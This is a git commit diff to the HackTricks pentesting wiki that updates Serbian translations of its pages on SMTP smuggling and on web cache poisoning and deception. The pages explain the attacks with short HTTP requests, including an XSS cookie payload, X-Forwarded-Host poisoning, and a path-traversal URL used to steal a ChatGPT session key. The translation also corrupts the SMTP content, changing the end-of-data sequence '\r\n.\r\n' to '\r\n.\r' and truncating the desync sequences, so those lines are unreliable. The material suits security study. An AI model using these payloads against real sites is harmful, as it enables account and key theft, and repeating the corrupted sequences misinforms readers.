Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.

This commit is contained in:
Translator 2024-08-18 11:02:11 +00:00
parent a9392c63aa
commit dbef86fc27
12 changed files with 268 additions and 176 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View file

@ -531,6 +531,7 @@
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
* [Clickjacking](pentesting-web/clickjacking.md)
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)

View file

@ -1,8 +1,8 @@
# SMTP Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,39 +15,39 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Basic Information
## Osnovne informacije
Ova vrsta ranjivosti je [**prvobitno otkrivena u ovom postu**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) gde je objašnjeno da je moguće **iskoristiti razlike u tome kako se SMTP protokol interpretira** prilikom finalizacije e-pošte, omogućavajući napadaču da prokrijumčari više e-poruka u telu legitimne, omogućavajući mu da se lažno predstavi kao drugi korisnici pogođenog domena (kao što je admin@outlook.com) zaobilazeći odbrane kao što je SPF.
### Why
### Zašto
To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u receptor. Pogledajte ovaj ilustrovani primer iz originalnog posta:
To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u prijemniku. Pogledajte ovaj ilustrovani primer iz originalnog posta:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### How
### Kako
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMPT server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**.
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMTP server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**.
Istraživači su otkrili da različiti **Inboud serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\
Na primer, regularan kraj podataka je `\r\n.\r\n`. Ali ako Inbound SMTP server takođe podržava `\n.\n`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici.
Istraživači su otkrili da različiti **Inbound serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\
Na primer, regularan kraj podataka je `\r\n.\r`. Ali ako Inbound SMTP server takođe podržava `\n.`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici.
Naravno, ovo može raditi samo ako **Outbound SMTP server ne tretira te podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti.
Potencijalni podaci za desinkronizaciju:
* `\n.\n`
* `\n.\r\n`
* `\n.`
* `\n.\r`
Takođe, imajte na umu da se SPF zaobilazi jer ako prokrijumčarite e-poruku od `admin@outlook.com` iz e-poruke od `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.**
## **References**
## **Reference**
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Cache Poisoning and Cache Deception
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@ -32,21 +32,21 @@ Get Access Today:
## Cache Poisoning
Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se klijenti primorali da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
Izvršenje napada cache poisoning uključuje nekoliko koraka:
1. **Identifikacija neključenih ulaza**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje pronalaženje načina kako da se ovi parametri zloupotrebe da bi se izmenio odgovor servera na način koji koristi napadaču.
2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje pronalaženje načina kako da se zloupotrebe ovi parametri kako bi se izmenio odgovor servera na način koji koristi napadaču.
3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor.
### Discovery: Check HTTP headers
Obično, kada je odgovor **sačuvan u kešu**, biće **zaglavlje koje to označava**, možete proveriti koja zaglavlja treba da obratite pažnju u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes&#x20;
### Discovery: Caching error codes
Ako mislite da se odgovor čuva u kešu, možete pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i čak možete izvršiti DoS).
Ako mislite da se odgovor čuva u kešu, mogli biste pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i mogli biste čak izvršiti DoS).
Možete pronaći više opcija u:
@ -54,11 +54,11 @@ Možete pronaći više opcija u:
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
Međutim, imajte na umu da **ponekad ovi status kodovi nisu keširani**, tako da ovaj test možda neće biti pouzdan.
Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan.
### Discovery: Identify and evaluate unkeyed inputs
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle:
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
@ -68,11 +68,14 @@ Sa identifikovanim parametrom/hedderom proverite kako se **sanitizuje** i **gde*
### Dobijanje keširanog odgovora
Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.\
Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`\
Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neključevi. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.\
Još jedan heder povezan sa kešom je **`Age`**. On definiše vreme u sekundama koliko je objekat bio u proxy kešu.
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`
Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neklučni. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.
Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu.
Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno korišćeni** kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše.
@ -97,7 +100,7 @@ _Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_
### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni odgovor iz keša.
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da to iskoristite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni odgovor iz keša.
```markup
GET / HTTP/1.1
Host: vulnerable.com
@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.
### Zagađenje keša sa pretragom putanje za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generisanje razlika sa delimiterima, normalizacijom i tačkama <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je učinjeno kada je zahtev stigao do veb servera.
Proverite:
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti zagađenja veb keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
Ponekad će biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
### Trovanje keša sa prolazom kroz putanju za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.
Ovo je takođe bolje objašnjeno u:
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
### Korišćenje više zaglavlja za eksploataciju ranjivosti trovanja web keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -120,7 +137,7 @@ X-Forwarded-Scheme: http
```
### Iskorišćavanje sa ograničenim `Vary` zaglavljem
Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da exfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -142,7 +159,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parameter Cloacking
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti da se unesu vrednosti neključenih parametara unutar ključnih i zloupotrebe ih.
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -152,39 +169,27 @@ Saznajte ovde kako da izvršite [Cache Poisoning napade zloupotrebom HTTP Reques
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning. Podržava mnoge različite tehnike i veoma je prilagodljiv.
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning-a. Podržava mnoge različite tehnike i veoma je prilagodljiv.
Primer korišćenja: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat na backend kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
### GitHub CP-DoS
Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike.
Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautorizovane korisnike.
### GitLab + GCP CP-DoS
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
### Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama, često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, predstavljajući sigurnosni rizik.
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može prepoznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
### 403 and Storage Buckets
@ -192,11 +197,11 @@ Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Stora
### Injecting Keyed Parameters
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly-ov Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali do njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
### User Agent Rules
Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS.
Neki programeri blokiraju zahteve sa user-agentima koji se poklapaju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS.
### Illegal Header Fields
@ -208,7 +213,7 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v
## Cache Deception
Cilj Cache Deception-a je da natera klijente da **učitavaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**.
Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
@ -225,7 +230,7 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku).
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).
Saznajte ovde kako da izvršite [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
@ -245,22 +250,22 @@ Saznajte ovde kako da izvršite [Cache Deceptions napade zloupotrebom HTTP Reque
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Pribavite pristup danas:
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
Saznajte i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Saznajte i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Cache Poisoning to DoS
